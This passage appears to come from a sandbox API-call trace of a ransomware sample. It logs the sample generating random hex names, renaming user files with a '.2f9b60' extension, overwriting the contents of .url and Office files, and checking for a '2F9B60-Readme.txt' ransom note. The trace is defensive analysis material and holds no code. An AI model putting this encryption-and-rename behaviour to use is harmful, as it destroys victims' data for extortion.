_Dest=0x1cd9d61e, _Format="%c%c" | out: _Dest="18") returned 2 [0114.552] sprintf (in: _Dest=0x1cd9d620, _Format="%c%c" | out: _Dest="4c") returned 2 [0114.552] sprintf (in: _Dest=0x1cd9d622, _Format="%c%c" | out: _Dest="75") returned 2 [0114.552] sprintf (in: _Dest=0x1cd9d624, _Format="%c%c" | out: _Dest="c4") returned 2 [0114.552] sprintf (in: _Dest=0x1cd9d626, _Format="%c%c" | out: _Dest="9c") returned 2 [0114.552] sprintf (in: _Dest=0x1cd9d628, _Format="%c%c" | out: _Dest="c6") returned 2 [0114.552] sprintf (in: _Dest=0x1cd9d62a, _Format="%c%c" | out: _Dest="ac") returned 2 [0114.552] sprintf (in: _Dest=0x1cd9d62c, _Format="%c%c" | out: _Dest="d0") returned 2 [0114.552] sprintf (in: _Dest=0x1cd9d62e, _Format="%c%c" | out: _Dest="a6") returned 2 [0114.552] sprintf (in: _Dest=0x1cd9d630, _Format="%c%c" | out: _Dest="87") returned 2 [0114.552] sprintf (in: _Dest=0x1cd9d632, _Format="%c%c" | out: _Dest="be") returned 2 [0114.552] sprintf (in: _Dest=0x1cd9d634, _Format="%c%c" | out: _Dest="4c") returned 2 [0114.552] sprintf (in: _Dest=0x1cd9d636, _Format="%c%c" | out: _Dest="87") returned 2 [0114.552] sprintf (in: _Dest=0x1cd9d638, _Format="%c%c" | out: _Dest="3e") returned 2 [0114.552] sprintf (in: _Dest=0x1cd9d63a, _Format="%c%c" | out: _Dest="2d") returned 2 [0114.552] sprintf (in: _Dest=0x1cd9d63c, _Format="%c%c" | out: _Dest="1c") returned 2 [0114.552] sprintf (in: _Dest=0x1cd9d63e, _Format="%c%c" | out: _Dest="51") returned 2 [0114.552] sprintf (in: _Dest=0x1cd9d640, _Format="%c%c" | out: _Dest="93") returned 2 [0114.552] sprintf (in: _Dest=0x1cd9d642, _Format="%c%c" | out: _Dest="3d") returned 2 [0114.552] sprintf (in: _Dest=0x1cd9d644, _Format="%c%c" | out: _Dest="ff") returned 2 [0114.552] sprintf (in: _Dest=0x1cd9d646, _Format="%c%c" | out: _Dest="51") returned 2 [0114.552] sprintf (in: _Dest=0x1cd9d648, _Format="%c%c" | out: _Dest="f4") returned 2 [0114.552] sprintf (in: _Dest=0x1cd9d64a, _Format="%c%c" | out: _Dest="06") returned 2 [0114.552] sprintf (in: _Dest=0x1cd9d64c, _Format="%c%c" | out: _Dest="c4") returned 2 [0114.553] sprintf (in: _Dest=0x1cd9d64e, _Format="%c%c" | out: _Dest="ad") returned 2 [0114.553] sprintf (in: _Dest=0x1cd9d650, _Format="%c%c" | out: _Dest="6d") returned 2 [0114.553] sprintf (in: _Dest=0x1cd9d652, _Format="%c%c" | out: _Dest="0d") returned 2 [0114.553] sprintf (in: _Dest=0x1cd9d654, _Format="%c%c" | out: _Dest="55") returned 2 [0114.553] sprintf (in: _Dest=0x1cd9d656, _Format="%c%c" | out: _Dest="98") returned 2 [0114.553] sprintf (in: _Dest=0x1cd9d658, _Format="%c%c" | out: _Dest="6f") returned 2 [0114.553] sprintf (in: _Dest=0x1cd9d65a, _Format="%c%c" | out: _Dest="bd") returned 2 [0114.553] sprintf (in: _Dest=0x1cd9d65c, _Format="%c%c" | out: _Dest="ae") returned 2 [0114.553] sprintf (in: _Dest=0x1cd9d65e, _Format="%c%c" | out: _Dest="69") returned 2 [0114.553] sprintf (in: _Dest=0x1cd9d660, _Format="%c%c" | out: _Dest="f6") returned 2 [0114.553] sprintf (in: _Dest=0x1cd9d662, _Format="%c%c" | out: _Dest="5d") returned 2 [0114.553] RtlInitAnsiString (in: DestinationString=0x35bbf768, SourceString="d95848b532800f184c75c49cc6acd0a687be4c873e2d1c51933dff51f406c4ad6d0d55986fbdae69f65d" | out: DestinationString="d95848b532800f184c75c49cc6acd0a687be4c873e2d1c51933dff51f406c4ad6d0d55986fbdae69f65d") [0114.553] RtlAnsiStringToUnicodeString (in: DestinationString=0x35bbf738, SourceString="d95848b532800f184c75c49cc6acd0a687be4c873e2d1c51933dff51f406c4ad6d0d55986fbdae69f65d", AllocateDestinationString=1 | out: DestinationString="d95848b532800f184c75c49cc6acd0a687be4c873e2d1c51933dff51f406c4ad6d0d55986fbdae69f65d") returned 0x0 [0114.553] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x202798b0 [0114.553] wcscat (in: _Dest=0x1b7ad2a0, _Source="d95848b532800f184c75c" | out: _Dest="C:\\Users\\Default\\Favorites\\Microsoft Websites\\d95848b532800f184c75c") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites\\d95848b532800f184c75c" [0114.553] wcscat (in: _Dest=0x1b7ad2a0, _Source=".2f9b60" | out: _Dest="C:\\Users\\Default\\Favorites\\Microsoft Websites\\d95848b532800f184c75c.2f9b60") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites\\d95848b532800f184c75c.2f9b60" [0114.554] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\d95848b532800f184c75c.2f9b60", NtPathName=0x35bbf710, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\Default\\Favorites\\Microsoft Websites\\d95848b532800f184c75c.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0114.554] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x20279970 [0114.554] NtSetInformationFile (FileHandle=0xebc, IoStatusBlock=0x35bbf7b0, FileInformation=0x20279970, Length=0xb4, FileInformationClass=0xa) returned 0x0 [0114.555] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279970) returned 1 [0114.555] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0114.555] NtQueryInformationFile (in: FileHandle=0xebc, IoStatusBlock=0x35bbf778, FileInformation=0x35bbf788, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x35bbf778, FileInformation=0x35bbf788) returned 0x0 [0114.555] NtSetInformationFile (FileHandle=0xebc, IoStatusBlock=0x35bbf778, FileInformation=0x35bbf788, Length=0x28, FileInformationClass=0x4) returned 0x0 [0114.557] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0114.557] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202798b0) returned 1 [0114.557] FlushFileBuffers (hFile=0xebc) returned 1 [0114.560] CloseHandle (hObject=0xebc) returned 1 [0114.561] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x202a5b20 [0114.561] wcscpy (in: _Dest=0x202a5b20, _Source="C:\\Users\\Default\\Favorites\\Microsoft Websites\\" | out: _Dest="C:\\Users\\Default\\Favorites\\Microsoft Websites\\") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites\\" [0114.561] wcscat (in: _Dest=0x202a5b20, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\Default\\Favorites\\Microsoft Websites\\2F9B60-Readme.txt") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites\\2F9B60-Readme.txt" [0114.561] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\2F9B60-Readme.txt" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\2f9b60-readme.txt")) returned 0x20 [0114.561] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a5b20) returned 1 [0114.561] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b6d0) returned 1 Thread: id = 1198 os_tid = 0xd0c [0114.572] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft at work.url")) returned 0x20 [0114.572] SetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Work.url", dwFileAttributes=0x20) returned 1 [0114.573] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\microsoft at work.url"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x354 [0114.573] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x379bfe40 | out: lpFileSize=0x379bfe40*=133) returned 1 [0114.573] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b797290 [0114.573] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260b00 [0114.573] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202621e0 [0114.573] NtQuerySystemTime (in: CurrentTime=0x379bfd00 | out: CurrentTime=0x379bfd00*=132462177200338000) returned 0x0 [0114.573] RtlRandomEx (in: Seed=0x379bfcf0 | out: Seed=0x379bfcf0) returned 0x13f358bc [0114.573] RtlRandomEx (in: Seed=0x379bfcf0 | out: Seed=0x379bfcf0) returned 0x40818b8c [0114.574] RtlRandomEx (in: Seed=0x379bfcf0 | out: Seed=0x379bfcf0) returned 0x3e7cc605 [0114.574] RtlRandomEx (in: Seed=0x379bfcf0 | out: Seed=0x379bfcf0) returned 0x2b5edbc [0114.574] RtlRandomEx (in: Seed=0x379bfcf0 | out: Seed=0x379bfcf0) returned 0x67b0e82 [0114.574] RtlRandomEx (in: Seed=0x379bfcf0 | out: Seed=0x379bfcf0) returned 0x4a7d19db [0114.574] RtlRandomEx (in: Seed=0x379bfcf0 | out: Seed=0x379bfcf0) returned 0x6147bc72 [0114.574] RtlRandomEx (in: Seed=0x379bfcf0 | out: Seed=0x379bfcf0) returned 0x43c364ea [0114.574] RtlRandomEx (in: Seed=0x379bfcf0 | out: Seed=0x379bfcf0) returned 0x1b3a1361 [0114.574] RtlRandomEx (in: Seed=0x379bfcf0 | out: Seed=0x379bfcf0) returned 0x58cfafac [0114.574] RtlRandomEx (in: Seed=0x379bfcf0 | out: Seed=0x379bfcf0) returned 0x6d3c5fc0 [0114.574] RtlRandomEx (in: Seed=0x379bfcf0 | out: Seed=0x379bfcf0) returned 0x27a0b002 [0114.574] RtlRandomEx (in: Seed=0x379bfcf0 | out: Seed=0x379bfcf0) returned 0x18dc5bca [0114.574] RtlRandomEx (in: Seed=0x379bfcf0 | out: Seed=0x379bfcf0) returned 0xe021235 [0114.574] RtlRandomEx (in: Seed=0x379bfcf0 | out: Seed=0x379bfcf0) returned 0x1dd9e933 [0114.574] RtlRandomEx (in: Seed=0x379bfcf0 | out: Seed=0x379bfcf0) returned 0x3f6fd4b0 [0114.574] RtlRandomEx (in: Seed=0x379bfcf0 | out: Seed=0x379bfcf0) returned 0x6b61f5ad [0114.574] RtlRandomEx (in: Seed=0x379bfcf0 | out: Seed=0x379bfcf0) returned 0x5860b9d6 [0114.574] RtlRandomEx (in: Seed=0x379bfcf0 | out: Seed=0x379bfcf0) returned 0x1ce8214f [0114.574] RtlRandomEx (in: Seed=0x379bfcf0 | out: Seed=0x379bfcf0) returned 0x4050e6f0 [0114.574] RtlRandomEx (in: Seed=0x379bfcf0 | out: Seed=0x379bfcf0) returned 0x27ce6261 [0114.574] RtlRandomEx (in: Seed=0x379bfcf0 | out: Seed=0x379bfcf0) returned 0x23f4a1cf [0114.574] RtlRandomEx (in: Seed=0x379bfcf0 | out: Seed=0x379bfcf0) returned 0x19cce53 [0114.574] RtlRandomEx (in: Seed=0x379bfcf0 | out: Seed=0x379bfcf0) returned 0xf7f310f [0114.575] RtlRandomEx (in: Seed=0x379bfcf0 | out: Seed=0x379bfcf0) returned 0x54e815e8 [0114.575] RtlRandomEx (in: Seed=0x379bfcf0 | out: Seed=0x379bfcf0) returned 0x6962e680 [0114.575] RtlRandomEx (in: Seed=0x379bfcf0 | out: Seed=0x379bfcf0) returned 0x711c6c77 [0114.575] RtlRandomEx (in: Seed=0x379bfcf0 | out: Seed=0x379bfcf0) returned 0x659c58ed [0114.575] RtlRandomEx (in: Seed=0x379bfcf0 | out: Seed=0x379bfcf0) returned 0x98a1725 [0114.575] RtlRandomEx (in: Seed=0x379bfcf0 | out: Seed=0x379bfcf0) returned 0x1f8f199b [0114.575] RtlRandomEx (in: Seed=0x379bfcf0 | out: Seed=0x379bfcf0) returned 0x2a1faaf [0114.575] RtlRandomEx (in: Seed=0x379bfcf0 | out: Seed=0x379bfcf0) returned 0x2a7c6965 [0114.586] ReadFile (in: hFile=0x354, lpBuffer=0x41c2a520, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x379bfcf0, lpOverlapped=0x0 | out: lpBuffer=0x41c2a520*, lpNumberOfBytesRead=0x379bfcf0*=0x85, lpOverlapped=0x0) returned 1 [0114.588] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.588] WriteFile (in: hFile=0x354, lpBuffer=0x41c2e130*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x379bfcf4, lpOverlapped=0x0 | out: lpBuffer=0x41c2e130*, lpNumberOfBytesWritten=0x379bfcf4*=0x85, lpOverlapped=0x0) returned 1 [0114.590] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b797290 [0114.590] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202621e0 [0114.590] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202621e0) returned 1 [0114.590] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c2e130) returned 1 [0114.590] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c2a520) returned 1 [0114.590] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868d40) returned 1 [0114.591] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c350) returned 1 [0114.591] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1b7d6a00 [0114.591] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0114.591] WriteFile (in: hFile=0x354, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x379bfe10, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x379bfe10*=0x11c, lpOverlapped=0x0) returned 1 [0114.593] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c350 [0114.594] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868d40 [0114.594] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262b40 [0114.594] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262b40) returned 1 [0114.594] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1b7d8100 [0114.594] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262b40 [0114.594] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263a70 [0114.594] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263a70) returned 1 [0114.594] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868d40) returned 1 [0114.594] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c350) returned 1 [0114.594] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x55) returned 0x19b7f0 [0114.594] sprintf (in: _Dest=0x19b7f0, _Format="%c%c" | out: _Dest="92") returned 2 [0114.594] sprintf (in: _Dest=0x19b7f2, _Format="%c%c" | out: _Dest="6e") returned 2 [0114.595] sprintf (in: _Dest=0x19b7f4, _Format="%c%c" | out: _Dest="f3") returned 2 [0114.595] sprintf (in: _Dest=0x19b7f6, _Format="%c%c" | out: _Dest="7e") returned 2 [0114.595] sprintf (in: _Dest=0x19b7f8, _Format="%c%c" | out: _Dest="1e") returned 2 [0114.595] sprintf (in: _Dest=0x19b7fa, _Format="%c%c" | out: _Dest="79") returned 2 [0114.595] sprintf (in: _Dest=0x19b7fc, _Format="%c%c" | out: _Dest="28") returned 2 [0114.595] sprintf (in: _Dest=0x19b7fe, _Format="%c%c" | out: _Dest="2d") returned 2 [0114.595] sprintf (in: _Dest=0x19b800, _Format="%c%c" | out: _Dest="41") returned 2 [0114.595] sprintf (in: _Dest=0x19b802, _Format="%c%c" | out: _Dest="a7") returned 2 [0114.595] sprintf (in: _Dest=0x19b804, _Format="%c%c" | out: _Dest="ed") returned 2 [0114.595] sprintf (in: _Dest=0x19b806, _Format="%c%c" | out: _Dest="e2") returned 2 [0114.595] sprintf (in: _Dest=0x19b808, _Format="%c%c" | out: _Dest="ca") returned 2 [0114.595] sprintf (in: _Dest=0x19b80a, _Format="%c%c" | out: _Dest="c6") returned 2 [0114.595] sprintf (in: _Dest=0x19b80c, _Format="%c%c" | out: _Dest="9d") returned 2 [0114.595] sprintf (in: _Dest=0x19b80e, _Format="%c%c" | out: _Dest="cc") returned 2 [0114.595] sprintf (in: _Dest=0x19b810, _Format="%c%c" | out: _Dest="f1") returned 2 [0114.595] sprintf (in: _Dest=0x19b812, _Format="%c%c" | out: _Dest="ae") returned 2 [0114.595] sprintf (in: _Dest=0x19b814, _Format="%c%c" | out: _Dest="74") returned 2 [0114.595] sprintf (in: _Dest=0x19b816, _Format="%c%c" | out: _Dest="ee") returned 2 [0114.595] sprintf (in: _Dest=0x19b818, _Format="%c%c" | out: _Dest="a3") returned 2 [0114.595] sprintf (in: _Dest=0x19b81a, _Format="%c%c" | out: _Dest="07") returned 2 [0114.596] sprintf (in: _Dest=0x19b81c, _Format="%c%c" | out: _Dest="84") returned 2 [0114.596] sprintf (in: _Dest=0x19b81e, _Format="%c%c" | out: _Dest="b8") returned 2 [0114.596] sprintf (in: _Dest=0x19b820, _Format="%c%c" | out: _Dest="07") returned 2 [0114.596] sprintf (in: _Dest=0x19b822, _Format="%c%c" | out: _Dest="ff") returned 2 [0114.596] sprintf (in: _Dest=0x19b824, _Format="%c%c" | out: _Dest="6e") returned 2 [0114.596] sprintf (in: _Dest=0x19b826, _Format="%c%c" | out: _Dest="9c") returned 2 [0114.596] sprintf (in: _Dest=0x19b828, _Format="%c%c" | out: _Dest="6f") returned 2 [0114.596] sprintf (in: _Dest=0x19b82a, _Format="%c%c" | out: _Dest="91") returned 2 [0114.596] sprintf (in: _Dest=0x19b82c, _Format="%c%c" | out: _Dest="7e") returned 2 [0114.596] sprintf (in: _Dest=0x19b82e, _Format="%c%c" | out: _Dest="79") returned 2 [0114.596] sprintf (in: _Dest=0x19b830, _Format="%c%c" | out: _Dest="b1") returned 2 [0114.596] sprintf (in: _Dest=0x19b832, _Format="%c%c" | out: _Dest="07") returned 2 [0114.596] sprintf (in: _Dest=0x19b834, _Format="%c%c" | out: _Dest="f6") returned 2 [0114.596] sprintf (in: _Dest=0x19b836, _Format="%c%c" | out: _Dest="e8") returned 2 [0114.596] sprintf (in: _Dest=0x19b838, _Format="%c%c" | out: _Dest="39") returned 2 [0114.596] sprintf (in: _Dest=0x19b83a, _Format="%c%c" | out: _Dest="fe") returned 2 [0114.596] sprintf (in: _Dest=0x19b83c, _Format="%c%c" | out: _Dest="5c") returned 2 [0114.596] sprintf (in: _Dest=0x19b83e, _Format="%c%c" | out: _Dest="9a") returned 2 [0114.596] sprintf (in: _Dest=0x19b840, _Format="%c%c" | out: _Dest="93") returned 2 [0114.596] sprintf (in: _Dest=0x19b842, _Format="%c%c" | out: _Dest="95") returned 2 [0114.596] RtlInitAnsiString (in: DestinationString=0x379bfe88, SourceString="926ef37e1e79282d41a7ede2cac69dccf1ae74eea30784b807ff6e9c6f917e79b107f6e839fe5c9a9395" | out: DestinationString="926ef37e1e79282d41a7ede2cac69dccf1ae74eea30784b807ff6e9c6f917e79b107f6e839fe5c9a9395") [0114.597] RtlAnsiStringToUnicodeString (in: DestinationString=0x379bfe58, SourceString="926ef37e1e79282d41a7ede2cac69dccf1ae74eea30784b807ff6e9c6f917e79b107f6e839fe5c9a9395", AllocateDestinationString=1 | out: DestinationString="926ef37e1e79282d41a7ede2cac69dccf1ae74eea30784b807ff6e9c6f917e79b107f6e839fe5c9a9395") returned 0x0 [0114.597] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x20279970 [0114.597] wcscat (in: _Dest=0x1b7ad2a0, _Source="926ef37e1e79282d41a7e" | out: _Dest="C:\\Users\\Default\\Favorites\\Microsoft Websites\\926ef37e1e79282d41a7e") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites\\926ef37e1e79282d41a7e" [0114.597] wcscat (in: _Dest=0x1b7ad2a0, _Source=".2f9b60" | out: _Dest="C:\\Users\\Default\\Favorites\\Microsoft Websites\\926ef37e1e79282d41a7e.2f9b60") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites\\926ef37e1e79282d41a7e.2f9b60" [0114.597] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\926ef37e1e79282d41a7e.2f9b60", NtPathName=0x379bfe30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\Default\\Favorites\\Microsoft Websites\\926ef37e1e79282d41a7e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0114.597] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb4) returned 0x202798b0 [0114.597] NtSetInformationFile (FileHandle=0x354, IoStatusBlock=0x379bfed0, FileInformation=0x202798b0, Length=0xb4, FileInformationClass=0xa) returned 0x0 [0114.599] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202798b0) returned 1 [0114.599] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0114.599] NtQueryInformationFile (in: FileHandle=0x354, IoStatusBlock=0x379bfe98, FileInformation=0x379bfea8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x379bfe98, FileInformation=0x379bfea8) returned 0x0 [0114.599] NtSetInformationFile (FileHandle=0x354, IoStatusBlock=0x379bfe98, FileInformation=0x379bfea8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0114.601] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 [0114.601] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279970) returned 1 [0114.601] FlushFileBuffers (hFile=0x354) returned 1 [0114.603] CloseHandle (hObject=0x354) returned 1 [0114.605] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1b85b6d0 [0114.605] wcscpy (in: _Dest=0x1b85b6d0, _Source="C:\\Users\\Default\\Favorites\\Microsoft Websites\\" | out: _Dest="C:\\Users\\Default\\Favorites\\Microsoft Websites\\") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites\\" [0114.605] wcscat (in: _Dest=0x1b85b6d0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\Default\\Favorites\\Microsoft Websites\\2F9B60-Readme.txt") returned="C:\\Users\\Default\\Favorites\\Microsoft Websites\\2F9B60-Readme.txt" [0114.605] GetFileAttributesW (lpFileName="C:\\Users\\Default\\Favorites\\Microsoft Websites\\2F9B60-Readme.txt" (normalized: "c:\\users\\default\\favorites\\microsoft websites\\2f9b60-readme.txt")) returned 0x20 [0114.606] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85b6d0) returned 1 [0114.606] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a58e0) returned 1 Thread: id = 1199 os_tid = 0xc54 [0114.343] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\ol.sam")) returned 0x20 [0114.347] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM", dwFileAttributes=0x20) returned 1 [0114.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\OL.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\ol.sam"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xeb8 [0114.350] GetFileSizeEx (in: hFile=0xeb8, lpFileSize=0x225dfb40 | out: lpFileSize=0x225dfb40*=29056) returned 1 [0114.350] SetFilePointerEx (in: hFile=0xeb8, liDistanceToMove=0x717c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.350] ReadFile (in: hFile=0xeb8, lpBuffer=0x225dfac0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x225dfb08, lpOverlapped=0x0 | out: lpBuffer=0x225dfac0*, lpNumberOfBytesRead=0x225dfb08*=0x4, lpOverlapped=0x0) returned 1 [0114.353] SetFilePointerEx (in: hFile=0xeb8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.353] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9220 [0114.353] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261280 [0114.353] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263dd0 [0114.353] NtQuerySystemTime (in: CurrentTime=0x225dfa00 | out: CurrentTime=0x225dfa00*=132462177198154000) returned 0x0 [0114.353] RtlRandomEx (in: Seed=0x225df9f0 | out: Seed=0x225df9f0) returned 0x7b57f295 [0114.353] RtlRandomEx (in: Seed=0x225df9f0 | out: Seed=0x225df9f0) returned 0x6b2cfb43 [0114.353] RtlRandomEx (in: Seed=0x225df9f0 | out: Seed=0x225df9f0) returned 0x7903af7b [0114.354] RtlRandomEx (in: Seed=0x225df9f0 | out: Seed=0x225df9f0) returned 0x6de7c2c0 [0114.354] RtlRandomEx (in: Seed=0x225df9f0 | out: Seed=0x225df9f0) returned 0x78da674f [0114.354] RtlRandomEx (in: Seed=0x225df9f0 | out: Seed=0x225df9f0) returned 0x69bb7ddc [0114.354] RtlRandomEx (in: Seed=0x225df9f0 | out: Seed=0x225df9f0) returned 0x99c959b [0114.354] RtlRandomEx (in: Seed=0x225df9f0 | out: Seed=0x225df9f0) returned 0x2e0833ec [0114.354] RtlRandomEx (in: Seed=0x225df9f0 | out: Seed=0x225df9f0) returned 0x4787d8b7 [0114.354] RtlRandomEx (in: Seed=0x225df9f0 | out: Seed=0x225df9f0) returned 0x19e090f1 [0114.354] RtlRandomEx (in: Seed=0x225df9f0 | out: Seed=0x225df9f0) returned 0x3b0d924 [0114.354] RtlRandomEx (in: Seed=0x225df9f0 | out: Seed=0x225df9f0) returned 0x312157a8 [0114.354] RtlRandomEx (in: Seed=0x225df9f0 | out: Seed=0x225df9f0) returned 0x55c2a1ab [0114.354] RtlRandomEx (in: Seed=0x225df9f0 | out: Seed=0x225df9f0) returned 0x38838beb [0114.354] RtlRandomEx (in: Seed=0x225df9f0 | out: Seed=0x225df9f0) returned 0x436c5925 [0114.354] RtlRandomEx (in: Seed=0x225df9f0 | out: Seed=0x225df9f0) returned 0x7dbda90c [0114.354] RtlRandomEx (in: Seed=0x225df9f0 | out: Seed=0x225df9f0) returned 0x6ab9ac80 [0114.354] RtlRandomEx (in: Seed=0x225df9f0 | out: Seed=0x225df9f0) returned 0x653dafca [0114.354] RtlRandomEx (in: Seed=0x225df9f0 | out: Seed=0x225df9f0) returned 0x4ed68aed [0114.354] RtlRandomEx (in: Seed=0x225df9f0 | out: Seed=0x225df9f0) returned 0x40693410 [0114.354] RtlRandomEx (in: Seed=0x225df9f0 | out: Seed=0x225df9f0) returned 0x4261bb20 [0114.354] RtlRandomEx (in: Seed=0x225df9f0 | out: Seed=0x225df9f0) returned 0x15f6b16 [0114.354] RtlRandomEx (in: Seed=0x225df9f0 | out: Seed=0x225df9f0) returned 0x5b4c9b2b [0114.354] RtlRandomEx (in: Seed=0x225df9f0 | out: Seed=0x225df9f0) returned 0x7ee4c4d [0114.354] RtlRandomEx (in: Seed=0x225df9f0 | out: Seed=0x225df9f0) returned 0x4f35d7de [0114.354] RtlRandomEx (in: Seed=0x225df9f0 | out: Seed=0x225df9f0) returned 0x2a1de10d [0114.354] RtlRandomEx (in: Seed=0x225df9f0 | out: Seed=0x225df9f0) returned 0x1d2279b8 [0114.354] RtlRandomEx (in: Seed=0x225df9f0 | out: Seed=0x225df9f0) returned 0x2355a015 [0114.354] RtlRandomEx (in: Seed=0x225df9f0 | out: Seed=0x225df9f0) returned 0x62b7f95b [0114.354] RtlRandomEx (in: Seed=0x225df9f0 | out: Seed=0x225df9f0) returned 0x1f3c87ff [0114.354] RtlRandomEx (in: Seed=0x225df9f0 | out: Seed=0x225df9f0) returned 